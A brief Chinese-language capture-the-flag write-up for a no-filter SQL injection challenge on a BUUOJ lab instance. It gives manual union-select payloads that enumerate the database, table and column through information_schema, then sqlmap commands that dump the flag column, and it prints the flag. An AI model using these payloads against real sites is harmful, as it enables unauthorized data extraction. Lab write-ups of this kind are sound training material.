这道题没有过滤，超级简单

进入环境

手注

b0658771-a130-4835-bb40-f6cca649bccf.node3.buuoj.cn/index.php?id=1'

http://b0658771-a130-4835-bb40-f6cca649bccf.node3.buuoj.cn/index.php?id=1%27%20and%201=1%20%23

id=1%27%20and%201=2%20%23

说明是字符型注入
然后开始注入

?id=1%27%20order%20by%203%23

?id=-1%27%20union%20select%201,2,3%23

确定好了位置

id=-1' union select 1,database(),3%23

数据库的名字为note
爆表

id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='note'%23

爆列

id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g'%23

查看记录

?id=-1' union select 1,group_concat(fllllag ),3 from fl4g%23

n1book{union_select_is_so_cool}

sqlmap跑

用sqlmap 跑一跑

./sqlmap.py -u http://b0658771-a130-4835-bb40-f6cca649bccf.node3.buuoj.cn/index.php?id=1 --dbs

./sqlmap.py -u http://f8e4ff84-eb1c-42f3-b2ff-cacd39b34230.node3.buuoj.cn/index.php?id=1 -D note --tables

./sqlmap.py -u http://f8e4ff84-eb1c-42f3-b2ff-cacd39b34230.node3.buuoj.cn/index.php?id=1 -D note -T fl4g --columns

./sqlmap.py -u http://f8e4ff84-eb1c-42f3-b2ff-cacd39b34230.node3.buuoj.cn/index.php?id=1 -D note -T fl4g -C fllllag --dump

n1book{union_select_is_so_cool}